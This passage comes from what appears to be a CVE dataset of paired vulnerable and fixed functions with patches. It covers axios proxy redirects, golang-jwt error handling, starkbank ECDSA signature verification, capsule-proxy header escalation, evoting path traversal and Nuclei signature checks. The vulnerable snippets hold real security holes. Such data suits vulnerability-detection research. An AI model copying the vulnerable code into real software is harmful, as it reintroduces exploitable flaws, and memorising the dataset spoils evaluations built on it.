onCanceled(cancel) {\n        if (req.aborted) return;\n\n        req.abort();\n        reject(cancel);\n      });\n    }\n\n    // Send the request\n    if (utils.isStream(data)) {\n      data.on('error', function handleStreamError(err) {\n        reject(enhanceError(err, config, null, req));\n      }).pipe(req);\n    } else {\n      req.end(data);\n    }\n  });\n};"}], "fix_func": [{"id": "fix_js_158_1", "commit": "c7329fe", "file_path": "lib/adapters/http.js", "start_line": 45, "end_line": 303, "snippet": "module.exports = function httpAdapter(config) {\n  return new Promise(function dispatchHttpRequest(resolvePromise, rejectPromise) {\n    var resolve = function resolve(value) {\n      resolvePromise(value);\n    };\n    var reject = function reject(value) {\n      rejectPromise(value);\n    };\n    var data = config.data;\n    var headers = config.headers;\n\n    // Set User-Agent (required by some servers)\n    // Only set header if it hasn't been set in config\n    // See https://github.com/axios/axios/issues/69\n    if (!headers['User-Agent'] && !headers['user-agent']) {\n      headers['User-Agent'] = 'axios/' + pkg.version;\n    }\n\n    if (data && !utils.isStream(data)) {\n      if (Buffer.isBuffer(data)) {\n        // Nothing to do...\n      } else if (utils.isArrayBuffer(data)) {\n        data = Buffer.from(new Uint8Array(data));\n      } else if (utils.isString(data)) {\n        data = Buffer.from(data, 'utf-8');\n      } else {\n        return reject(createError(\n          'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream',\n          config\n        ));\n      }\n\n      // Add Content-Length header if data exists\n      headers['Content-Length'] = data.length;\n    }\n\n    // HTTP basic authentication\n    var auth = undefined;\n    if (config.auth) {\n      var username = config.auth.username || '';\n      var password = config.auth.password || '';\n      auth = username + ':' + password;\n    }\n\n    // Parse url\n    var fullPath = buildFullPath(config.baseURL, config.url);\n    var parsed = url.parse(fullPath);\n    var protocol = parsed.protocol || 'http:';\n\n    if (!auth && parsed.auth) {\n      var urlAuth = parsed.auth.split(':');\n      var urlUsername = urlAuth[0] || '';\n      var urlPassword = urlAuth[1] || '';\n      auth = urlUsername + ':' + urlPassword;\n    }\n\n    if (auth) {\n      delete headers.Authorization;\n    }\n\n    var isHttpsRequest = isHttps.test(protocol);\n    var agent = isHttpsRequest ? config.httpsAgent : config.httpAgent;\n\n    var options = {\n      path: buildURL(parsed.path, config.params, config.paramsSerializer).replace(/^\\?/, ''),\n      method: config.method.toUpperCase(),\n      headers: headers,\n      agent: agent,\n      agents: { http: config.httpAgent, https: config.httpsAgent },\n      auth: auth\n    };\n\n    if (config.socketPath) {\n      options.socketPath = config.socketPath;\n    } else {\n      options.hostname = parsed.hostname;\n      options.port = parsed.port;\n    }\n\n    var proxy = config.proxy;\n    if (!proxy && proxy !== false) {\n      var proxyEnv = protocol.slice(0, -1) + '_proxy';\n      var proxyUrl = process.env[proxyEnv] || process.env[proxyEnv.toUpperCase()];\n      if (proxyUrl) {\n        var parsedProxyUrl = url.parse(proxyUrl);\n        var noProxyEnv = process.env.no_proxy || process.env.NO_PROXY;\n        var shouldProxy = true;\n\n        if (noProxyEnv) {\n          var noProxy = noProxyEnv.split(',').map(function trim(s) {\n            return s.trim();\n          });\n\n          shouldProxy = !noProxy.some(function proxyMatch(proxyElement) {\n            if (!proxyElement) {\n              return false;\n            }\n            if (proxyElement === '*') {\n              return true;\n            }\n            if (proxyElement[0] === '.' &&\n                parsed.hostname.substr(parsed.hostname.length - proxyElement.length) === proxyElement) {\n              return true;\n            }\n\n            return parsed.hostname === proxyElement;\n          });\n        }\n\n\n        if (shouldProxy) {\n          proxy = {\n            host: parsedProxyUrl.hostname,\n            port: parsedProxyUrl.port\n          };\n\n          if (parsedProxyUrl.auth) {\n            var proxyUrlAuth = parsedProxyUrl.auth.split(':');\n            proxy.auth = {\n              username: proxyUrlAuth[0],\n              password: proxyUrlAuth[1]\n            };\n          }\n        }\n      }\n    }\n\n    if (proxy) {\n      options.headers.host = parsed.hostname + (parsed.port ? ':' + parsed.port : '');\n      setProxy(options, proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path);\n    }\n\n    var transport;\n    var isHttpsProxy = isHttpsRequest && (proxy ? isHttps.test(proxy.protocol) : true);\n    if (config.transport) {\n      transport = config.transport;\n    } else if (config.maxRedirects === 0) {\n      transport = isHttpsProxy ? https : http;\n    } else {\n      if (config.maxRedirects) {\n        options.maxRedirects = config.maxRedirects;\n      }\n      transport = isHttpsProxy ? httpsFollow : httpFollow;\n    }\n\n    if (config.maxBodyLength > -1) {\n      options.maxBodyLength = config.maxBodyLength;\n    }\n\n    // Create the request\n    var req = transport.request(options, function handleResponse(res) {\n      if (req.aborted) return;\n\n      // uncompress the response body transparently if required\n      var stream = res;\n\n      // return the last request in case of redirects\n      var lastRequest = res.req || req;\n\n\n      // if no content, is HEAD request or decompress disabled we should not decompress\n      if (res.statusCode !== 204 && lastRequest.method !== 'HEAD' && config.decompress !== false) {\n        switch (res.headers['content-encoding']) {\n        /*eslint default-case:0*/\n        case 'gzip':\n        case 'compress':\n        case 'deflate':\n        // add the unzipper to the body stream processing pipeline\n          stream = stream.pipe(zlib.createUnzip());\n\n          // remove the content-encoding in order to not confuse downstream operations\n          delete res.headers['content-encoding'];\n          break;\n        }\n      }\n\n      var response = {\n        status: res.statusCode,\n        statusText: res.statusMessage,\n        headers: res.headers,\n        config: config,\n        request: lastRequest\n      };\n\n      if (config.responseType === 'stream') {\n        response.data = stream;\n        settle(resolve, reject, response);\n      } else {\n        var responseBuffer = [];\n        stream.on('data', function handleStreamData(chunk) {\n          responseBuffer.push(chunk);\n\n          // make sure the content length is not over the maxContentLength if specified\n          if (config.maxContentLength > -1 && Buffer.concat(responseBuffer).length > config.maxContentLength) {\n            stream.destroy();\n            reject(createError('maxContentLength size of ' + config.maxContentLength + ' exceeded',\n              config, null, lastRequest));\n          }\n        });\n\n        stream.on('error', function handleStreamError(err) {\n          if (req.aborted) return;\n          reject(enhanceError(err, config, null, lastRequest));\n        });\n\n        stream.on('end', function handleStreamEnd() {\n          var responseData = Buffer.concat(responseBuffer);\n          if (config.responseType !== 'arraybuffer') {\n            responseData = responseData.toString(config.responseEncoding);\n            if (!config.responseEncoding || config.responseEncoding === 'utf8') {\n              responseData = utils.stripBOM(responseData);\n            }\n          }\n\n          response.data = responseData;\n          settle(resolve, reject, response);\n        });\n      }\n    });\n\n    // Handle errors\n    req.on('error', function handleRequestError(err) {\n      if (req.aborted && err.code !== 'ERR_FR_TOO_MANY_REDIRECTS') return;\n      reject(enhanceError(err, config, null, req));\n    });\n\n    // Handle request timeout\n    if (config.timeout) {\n      // Sometime, the response will be very slow, and does not respond, the connect event will be block by event loop system.\n      // And timer callback will be fired, and abort() will be invoked before connection, then get \"socket hang up\" and code ECONNRESET.\n      // At this time, if we have a large number of request, nodejs will hang up some socket on background. and the number will up and up.\n      // And then these socket which be hang up will devoring CPU little by little.\n      // ClientRequest.setTimeout will be fired on the specify milliseconds, and can make sure that abort() will be fired after connect.\n      req.setTimeout(config.timeout, function handleRequestTimeout() {\n        req.abort();\n        reject(createError('timeout of ' + config.timeout + 'ms exceeded', config, 'ECONNABORTED', req));\n      });\n    }\n\n    if (config.cancelToken) {\n      // Handle cancellation\n      config.cancelToken.promise.then(function onCanceled(cancel) {\n        if (req.aborted) return;\n\n        req.abort();\n        reject(cancel);\n      });\n    }\n\n    // Send the request\n    if (utils.isStream(data)) {\n      data.on('error', function handleStreamError(err) {\n        reject(enhanceError(err, config, null, req));\n      }).pipe(req);\n    } else {\n      req.end(data);\n    }\n  });\n};"}, {"id": "fix_js_158_2", "commit": "c7329fe", "file_path": "lib/adapters/http.js", "start_line": 25, "end_line": 42, "snippet": "function setProxy(options, proxy, location) {\n  options.hostname = proxy.host;\n  options.host = proxy.host;\n  options.port = proxy.port;\n  options.path = location;\n\n  // Basic proxy authorization\n  if (proxy.auth) {\n    var base64 = Buffer.from(proxy.auth.username + ':' + proxy.auth.password, 'utf8').toString('base64');\n    options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n  }\n\n  // If a proxy is used, any redirects must also pass through the proxy\n  options.beforeRedirect = function beforeRedirect(redirection) {\n    redirection.headers.host = redirection.host;\n    setProxy(redirection, proxy, redirection.href);\n  };\n}"}], "vul_patch": "--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -126,17 +126,8 @@\n     }\n \n     if (proxy) {\n-      options.hostname = proxy.host;\n-      options.host = proxy.host;\n       options.headers.host = parsed.hostname + (parsed.port ? ':' + parsed.port : '');\n-      options.port = proxy.port;\n-      options.path = protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path;\n-\n-      // Basic proxy authorization\n-      if (proxy.auth) {\n-        var base64 = Buffer.from(proxy.auth.username + ':' + proxy.auth.password, 'utf8').toString('base64');\n-        options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n-      }\n+      setProxy(options, proxy, protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path);\n     }\n \n     var transport;\n\n--- /dev/null\n+++ b/lib/adapters/http.js\n@@ -0,0 +1,18 @@\n+function setProxy(options, proxy, location) {\n+  options.hostname = proxy.host;\n+  options.host = proxy.host;\n+  options.port = proxy.port;\n+  options.path = location;\n+\n+  // Basic proxy authorization\n+  if (proxy.auth) {\n+    var base64 = Buffer.from(proxy.auth.username + ':' + proxy.auth.password, 'utf8').toString('base64');\n+    options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n+  }\n+\n+  // If a proxy is used, any redirects must also pass through the proxy\n+  options.beforeRedirect = function beforeRedirect(redirection) {\n+    redirection.headers.host = redirection.host;\n+    setProxy(redirection, proxy, redirection.href);\n+  };\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-51744", "cve_description": "golang-jwt is a Go implementation of JSON Web Tokens. Unclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens. A fix has been back-ported with the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in \"dangerous\" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release. We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors (\"dangerous\" ones first), so that you are not running in the case detailed above.", "cwe_info": {"CWE-755": {"name": "Improper Handling of Exceptional Conditions", "description": "The product does not handle or incorrectly handles an exceptional condition."}}, "repo": "https://github.com/golang-jwt/jwt", "patch_url": ["https://github.com/golang-jwt/jwt/commit/7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_293_1", "commit": "9358574a7a1a2c8d644f22b6e8de627ba85c58d0", "file_path": "parser.go", "start_line": 52, "end_line": 117, "snippet": "func (p *Parser) ParseWithClaims(tokenString string, claims Claims, keyFunc Keyfunc) (*Token, error) {\n\ttoken, parts, err := p.ParseUnverified(tokenString, claims)\n\tif err != nil {\n\t\treturn token, err\n\t}\n\n\t// Verify signing method is in the required set\n\tif p.ValidMethods != nil {\n\t\tvar signingMethodValid = false\n\t\tvar alg = token.Method.Alg()\n\t\tfor _, m := range p.ValidMethods {\n\t\t\tif m == alg {\n\t\t\t\tsigningMethodValid = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !signingMethodValid {\n\t\t\t// signing method is not in the listed set\n\t\t\treturn token, NewValidationError(fmt.Sprintf(\"signing method %v is invalid\", alg), ValidationErrorSignatureInvalid)\n\t\t}\n\t}\n\n\t// Lookup key\n\tvar key interface{}\n\tif keyFunc == nil {\n\t\t// keyFunc was not provided.  short circuiting validation\n\t\treturn token, NewValidationError(\"no Keyfunc was provided.\", ValidationErrorUnverifiable)\n\t}\n\tif key, err = keyFunc(token); err != nil {\n\t\t// keyFunc returned an error\n\t\tif ve, ok := err.(*ValidationError); ok {\n\t\t\treturn token, ve\n\t\t}\n\t\treturn token, &ValidationError{Inner: err, Errors: ValidationErrorUnverifiable}\n\t}\n\n\tvErr := &ValidationError{}\n\n\t// Validate Claims\n\tif !p.SkipClaimsValidation {\n\t\tif err := token.Claims.Valid(); err != nil {\n\n\t\t\t// If the Claims Valid returned an error, check if it is a validation error,\n\t\t\t// If it was another error type, create a ValidationError with a generic ClaimsInvalid flag set\n\t\t\tif e, ok := err.(*ValidationError); !ok {\n\t\t\t\tvErr = &ValidationError{Inner: err, Errors: ValidationErrorClaimsInvalid}\n\t\t\t} else {\n\t\t\t\tvErr = e\n\t\t\t}\n\t\t}\n\t}\n\n\t// Perform validation\n\ttoken.Signature = parts[2]\n\tif err = token.Method.Verify(strings.Join(parts[0:2], \".\"), token.Signature, key); err != nil {\n\t\tvErr.Inner = err\n\t\tvErr.Errors |= ValidationErrorSignatureInvalid\n\t}\n\n\tif vErr.valid() {\n\t\ttoken.Valid = true\n\t\treturn token, nil\n\t}\n\n\treturn token, vErr\n}"}], "fix_func": [{"id": "fix_go_293_1", "commit": "7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c", "file_path": "parser.go", "start_line": 54, "end_line": 116, "snippet": "func (p *Parser) ParseWithClaims(tokenString string, claims Claims, keyFunc Keyfunc) (*Token, error) {\n\ttoken, parts, err := p.ParseUnverified(tokenString, claims)\n\tif err != nil {\n\t\treturn token, err\n\t}\n\n\t// Verify signing method is in the required set\n\tif p.ValidMethods != nil {\n\t\tvar signingMethodValid = false\n\t\tvar alg = token.Method.Alg()\n\t\tfor _, m := range p.ValidMethods {\n\t\t\tif m == alg {\n\t\t\t\tsigningMethodValid = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !signingMethodValid {\n\t\t\t// signing method is not in the listed set\n\t\t\treturn token, NewValidationError(fmt.Sprintf(\"signing method %v is invalid\", alg), ValidationErrorSignatureInvalid)\n\t\t}\n\t}\n\n\t// Lookup key\n\tvar key interface{}\n\tif keyFunc == nil {\n\t\t// keyFunc was not provided.  short circuiting validation\n\t\treturn token, NewValidationError(\"no Keyfunc was provided.\", ValidationErrorUnverifiable)\n\t}\n\tif key, err = keyFunc(token); err != nil {\n\t\t// keyFunc returned an error\n\t\tif ve, ok := err.(*ValidationError); ok {\n\t\t\treturn token, ve\n\t\t}\n\t\treturn token, &ValidationError{Inner: err, Errors: ValidationErrorUnverifiable}\n\t}\n\n\t// Perform validation\n\ttoken.Signature = parts[2]\n\tif err := token.Method.Verify(strings.Join(parts[0:2], \".\"), token.Signature, key); err != nil {\n\t\treturn token, &ValidationError{Inner: err, Errors: ValidationErrorSignatureInvalid}\n\t}\n\n\tvErr := &ValidationError{}\n\n\t// Validate Claims\n\tif !p.SkipClaimsValidation {\n\t\tif err := token.Claims.Valid(); err != nil {\n\t\t\t// If the Claims Valid returned an error, check if it is a validation error,\n\t\t\t// If it was another error type, create a ValidationError with a generic ClaimsInvalid flag set\n\t\t\tif e, ok := err.(*ValidationError); !ok {\n\t\t\t\tvErr = &ValidationError{Inner: err, Errors: ValidationErrorClaimsInvalid}\n\t\t\t} else {\n\t\t\t\tvErr = e\n\t\t\t}\n\t\t\treturn token, vErr\n\t\t}\n\t}\n\n\t// No errors so far, token is valid.\n\ttoken.Valid = true\n\n\treturn token, nil\n}"}], "vul_patch": "--- a/parser.go\n+++ b/parser.go\n@@ -34,12 +34,17 @@\n \t\treturn token, &ValidationError{Inner: err, Errors: ValidationErrorUnverifiable}\n \t}\n \n+\t// Perform validation\n+\ttoken.Signature = parts[2]\n+\tif err := token.Method.Verify(strings.Join(parts[0:2], \".\"), token.Signature, key); err != nil {\n+\t\treturn token, &ValidationError{Inner: err, Errors: ValidationErrorSignatureInvalid}\n+\t}\n+\n \tvErr := &ValidationError{}\n \n \t// Validate Claims\n \tif !p.SkipClaimsValidation {\n \t\tif err := token.Claims.Valid(); err != nil {\n-\n \t\t\t// If the Claims Valid returned an error, check if it is a validation error,\n \t\t\t// If it was another error type, create a ValidationError with a generic ClaimsInvalid flag set\n \t\t\tif e, ok := err.(*ValidationError); !ok {\n@@ -47,20 +52,12 @@\n \t\t\t} else {\n \t\t\t\tvErr = e\n \t\t\t}\n+\t\t\treturn token, vErr\n \t\t}\n \t}\n \n-\t// Perform validation\n-\ttoken.Signature = parts[2]\n-\tif err = token.Method.Verify(strings.Join(parts[0:2], \".\"), token.Signature, key); err != nil {\n-\t\tvErr.Inner = err\n-\t\tvErr.Errors |= ValidationErrorSignatureInvalid\n-\t}\n+\t// No errors so far, token is valid.\n+\ttoken.Valid = true\n \n-\tif vErr.valid() {\n-\t\ttoken.Valid = true\n-\t\treturn token, nil\n-\t}\n-\n-\treturn token, vErr\n+\treturn token, nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43572", "cve_description": "The verify function in the Stark Bank Python ECDSA library (aka starkbank-escada or ecdsa-python) before 2.0.1 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "cwe_info": {"CWE-347": {"name": "Improper Verification of Cryptographic Signature", "description": "The product does not verify, or incorrectly verifies, the cryptographic signature for data."}}, "repo": "https://github.com/starkbank/ecdsa-python", "patch_url": ["https://github.com/starkbank/ecdsa-python/commit/d136170666e9510eb63c2572551805807bd4c17f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_435_1", "commit": "998c92b", "file_path": "ellipticcurve/ecdsa.py", "start_line": "30", "end_line": "41", "snippet": "    def verify(cls, message, signature, publicKey, hashfunc=sha256):\n        byteMessage = hashfunc(toBytes(message)).digest()\n        numberMessage = numberFromByteString(byteMessage)\n        curve = publicKey.curve\n        r = signature.r\n        s = signature.s\n        inv = Math.inv(s, curve.N)\n        u1 = Math.multiply(curve.G, n=(numberMessage * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n        u2 = Math.multiply(publicKey.point, n=(r * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n        add = Math.add(u1, u2, A=curve.A, P=curve.P)\n        modX = add.x % curve.N\n        return r == modX"}], "fix_func": [{"id": "fix_py_435_1", "commit": "d136170666e9510eb63c2572551805807bd4c17f", "file_path": "ellipticcurve/ecdsa.py", "start_line": "30", "end_line": "45", "snippet": "    def verify(cls, message, signature, publicKey, hashfunc=sha256):\n        byteMessage = hashfunc(toBytes(message)).digest()\n        numberMessage = numberFromByteString(byteMessage)\n        curve = publicKey.curve\n        r = signature.r\n        s = signature.s\n        if not 1 <= r <= curve.N - 1:\n            return False\n        if not 1 <= s <= curve.N - 1:\n            return False\n        inv = Math.inv(s, curve.N)\n        u1 = Math.multiply(curve.G, n=(numberMessage * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n        u2 = Math.multiply(publicKey.point, n=(r * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n        add = Math.add(u1, u2, A=curve.A, P=curve.P)\n        modX = add.x % curve.N\n        return r == modX"}], "vul_patch": "--- a/ellipticcurve/ecdsa.py\n+++ b/ellipticcurve/ecdsa.py\n@@ -4,6 +4,10 @@\n         curve = publicKey.curve\n         r = signature.r\n         s = signature.s\n+        if not 1 <= r <= curve.N - 1:\n+            return False\n+        if not 1 <= s <= curve.N - 1:\n+            return False\n         inv = Math.inv(s, curve.N)\n         u1 = Math.multiply(curve.G, n=(numberMessage * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n         u2 = Math.multiply(publicKey.point, n=(r * inv) % curve.N, N=curve.N, A=curve.A, P=curve.P)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23652", "cve_description": "capsule-proxy is a reverse proxy for Capsule Operator which provides multi-tenancy in Kubernetes. In versions prior to 0.2.1 an attacker with a proper authentication mechanism may use a malicious `Connection` header to start a privilege escalation attack towards the Kubernetes API Server. This vulnerability allows for an exploit of the `cluster-admin` Role bound to `capsule-proxy`. There are no known workarounds for this issue.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/clastix/capsule-proxy", "patch_url": ["https://github.com/clastix/capsule-proxy/commit/efe91f68ebf8a9e3d21491dc57da7b8a746415d8"], "programing_language": "Go", "vul_func": [{"id": "vul_go_191_1", "commit": "e9fbcf4", "file_path": "internal/webserver/webserver.go", "start_line": 163, "end_line": 187, "snippet": "func (n kubeFilter) impersonateHandler(writer http.ResponseWriter, request *http.Request) {\n\thr := req.NewHTTP(request, n.usernameClaimField, n.client)\n\n\tvar username string\n\n\tvar groups []string\n\n\tvar err error\n\n\tif username, groups, err = hr.GetUserAndGroups(); err != nil {\n\t\tserverr.HandleError(writer, err, \"cannot retrieve user and group\")\n\t}\n\n\tn.log.V(4).Info(\"impersonating for the current request\", \"username\", username, \"groups\", groups)\n\n\tif len(n.bearerToken) > 0 {\n\t\trequest.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", n.bearerToken))\n\t}\n\n\trequest.Header.Add(\"Impersonate-User\", username)\n\n\tfor _, group := range groups {\n\t\trequest.Header.Add(\"Impersonate-Group\", group)\n\t}\n}"}], "fix_func": [{"id": "fix_go_191_1", "commit": "efe91f6", "file_path": "internal/webserver/webserver.go", "start_line": 165, "end_line": 192, "snippet": "func (n kubeFilter) impersonateHandler(writer http.ResponseWriter, request *http.Request) {\n\thr := req.NewHTTP(request, n.usernameClaimField, n.client)\n\n\tvar username string\n\n\tvar groups []string\n\n\tvar err error\n\n\tif username, groups, err = hr.GetUserAndGroups(); err != nil {\n\t\tserverr.HandleError(writer, err, \"cannot retrieve user and group\")\n\t}\n\n\tn.log.V(4).Info(\"impersonating for the current request\", \"username\", username, \"groups\", groups)\n\n\tif len(n.bearerToken) > 0 {\n\t\trequest.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", n.bearerToken))\n\t}\n\t// Dropping malicious header connection\n\t// https://github.com/clastix/capsule-proxy/issues/188\n\tn.removingHopByHopHeaders(request)\n\n\trequest.Header.Add(\"Impersonate-User\", username)\n\n\tfor _, group := range groups {\n\t\trequest.Header.Add(\"Impersonate-Group\", group)\n\t}\n}"}, {"id": "fix_go_191_2", "commit": "efe91f6", "file_path": "internal/webserver/webserver.go", "start_line": 364, "end_line": 387, "snippet": "func (n *kubeFilter) removingHopByHopHeaders(request *http.Request) {\n\tconnectionHeaderName, upgradeHeaderName, requestUpgradeType := \"connection\", \"upgrade\", \"\"\n\n\tif httpguts.HeaderValuesContainsToken(request.Header[connectionHeaderName], upgradeHeaderName) {\n\t\trequestUpgradeType = request.Header.Get(upgradeHeaderName)\n\t}\n\t// Removing connection headers\n\tfor _, f := range request.Header.Values(connectionHeaderName) {\n\t\tfor _, sf := range strings.Split(f, \",\") {\n\t\t\tif sf = textproto.TrimString(sf); sf != \"\" {\n\t\t\t\trequest.Header.Del(sf)\n\t\t\t}\n\t\t}\n\t}\n\n\tif requestUpgradeType != \"\" {\n\t\trequest.Header.Set(connectionHeaderName, upgradeHeaderName)\n\t\trequest.Header.Set(upgradeHeaderName, requestUpgradeType)\n\n\t\treturn\n\t}\n\n\trequest.Header.Del(connectionHeaderName)\n}"}], "vul_patch": "--- a/internal/webserver/webserver.go\n+++ b/internal/webserver/webserver.go\n@@ -16,6 +16,9 @@\n \tif len(n.bearerToken) > 0 {\n \t\trequest.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", n.bearerToken))\n \t}\n+\t// Dropping malicious header connection\n+\t// https://github.com/clastix/capsule-proxy/issues/188\n+\tn.removingHopByHopHeaders(request)\n \n \trequest.Header.Add(\"Impersonate-User\", username)\n \n\n--- /dev/null\n+++ b/internal/webserver/webserver.go\n@@ -0,0 +1,24 @@\n+func (n *kubeFilter) removingHopByHopHeaders(request *http.Request) {\n+\tconnectionHeaderName, upgradeHeaderName, requestUpgradeType := \"connection\", \"upgrade\", \"\"\n+\n+\tif httpguts.HeaderValuesContainsToken(request.Header[connectionHeaderName], upgradeHeaderName) {\n+\t\trequestUpgradeType = request.Header.Get(upgradeHeaderName)\n+\t}\n+\t// Removing connection headers\n+\tfor _, f := range request.Header.Values(connectionHeaderName) {\n+\t\tfor _, sf := range strings.Split(f, \",\") {\n+\t\t\tif sf = textproto.TrimString(sf); sf != \"\" {\n+\t\t\t\trequest.Header.Del(sf)\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tif requestUpgradeType != \"\" {\n+\t\trequest.Header.Set(connectionHeaderName, upgradeHeaderName)\n+\t\trequest.Header.Set(upgradeHeaderName, requestUpgradeType)\n+\n+\t\treturn\n+\t}\n+\n+\trequest.Header.Del(connectionHeaderName)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31508", "cve_description": "The idayrus/evoting repository before 2022-05-08 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/idayrus/evoting", "patch_url": ["https://github.com/idayrus/evoting/commit/241d92a4d68f524365a6322b5bbcfaa7d9abc8a3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_376_1", "commit": "d9ef8c7c0343c7986fe06ff976395775d5844732", "file_path": "app/helper/middleware.py", "start_line": 19, "end_line": 25, "snippet": "def private_static(filename):\n    # Get path\n    filepath = path.join(app.config.get(\"PRIVATE_DIR\"), filename)\n    if path.isfile(filepath):\n        return send_file(filepath)\n    # End\n    return abort(404)"}], "fix_func": [{"id": "fix_py_376_1", "commit": "241d92a4d68f524365a6322b5bbcfaa7d9abc8a3", "file_path": "app/helper/middleware.py", "start_line": 20, "end_line": 26, "snippet": "def private_static(filename):\n    # Get path\n    filepath = safe_join(app.config.get(\"PRIVATE_DIR\"), filename)\n    if path.isfile(filepath):\n        return send_file(filepath)\n    # End\n    return abort(404)"}], "vul_patch": "--- a/app/helper/middleware.py\n+++ b/app/helper/middleware.py\n@@ -1,6 +1,6 @@\n def private_static(filename):\n     # Get path\n-    filepath = path.join(app.config.get(\"PRIVATE_DIR\"), filename)\n+    filepath = safe_join(app.config.get(\"PRIVATE_DIR\"), filename)\n     if path.isfile(filepath):\n         return send_file(filepath)\n     # End\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-43405", "cve_description": "Nuclei is a vulnerability scanner powered by YAML based templates. Starting in version 3.0.0 and prior to version 3.3.2, a vulnerability in Nuclei's template signature verification system could allow an attacker to bypass the signature check and possibly execute malicious code via custom code template. The vulnerability is present in the template signature verification process, specifically in the `signer` package. The vulnerability stems from a discrepancy between how the signature verification process and the YAML parser handle newline characters, combined with the way multiple signatures are processed. This allows an attacker to inject malicious content into a template while maintaining a valid signature for the benign part of the template. CLI users are affected if they execute custom code templates from unverified sources. This includes templates authored by third parties or obtained from unverified repositories. SDK Users are affected if they are developers integrating Nuclei into their platforms, particularly if they permit the execution of custom code templates by end-users. The vulnerability is addressed in Nuclei v3.3.2. Users are strongly recommended to update to this version to mitigate the security risk. As an interim measure, users should refrain from using custom templates if unable to upgrade immediately. Only trusted, verified templates should be executed. Those who are unable to upgrade Nuclei should disable running custom code templates as a workaround.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/projectdiscovery/nuclei", "patch_url": ["https://github.com/projectdiscovery/nuclei/commit/0da993afe6d41b4b1b814e8fad23a2acba13c60a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_25_2", "commit": "4d5eb9c", "file_path": "pkg/templates/signer/tmpl_signer.go", "start_line": 71, "end_line": 106, "snippet": "func (t *TemplateSigner) Sign(data []byte, tmpl SignableTemplate) (string, error) {\n\t// while re-signing template check if it has a code protocol\n\t// if it does then verify that it is signed by current signer\n\t// if not then return error\n\tif tmpl.HasCodeProtocol() {\n\t\tsig := GetSignatureFromData(data)\n\t\tarr := strings.SplitN(string(sig), \":\", 3)\n\t\tif len(arr) == 2 {\n\t\t\t// signature has no fragment\n\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n\t\t}\n\t\tif len(arr) == 3 {\n\t\t\t// signature has fragment verify if it is equal to current fragment\n\t\t\tfragment := t.GetUserFragment()\n\t\t\tif fragment != arr[2] {\n\t\t\t\treturn \"\", errorutil.NewWithTag(\"signer\", \"re-signing code templates are not allowed for security reasons.\")\n\t\t\t}\n\t\t}\n\t}\n\n\tbuff := bytes.NewBuffer(RemoveSignatureFromData(data))\n\t// if file has any imports process them\n\tfor _, file := range tmpl.GetFileImports() {\n\t\tbin, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\treturn \"\", 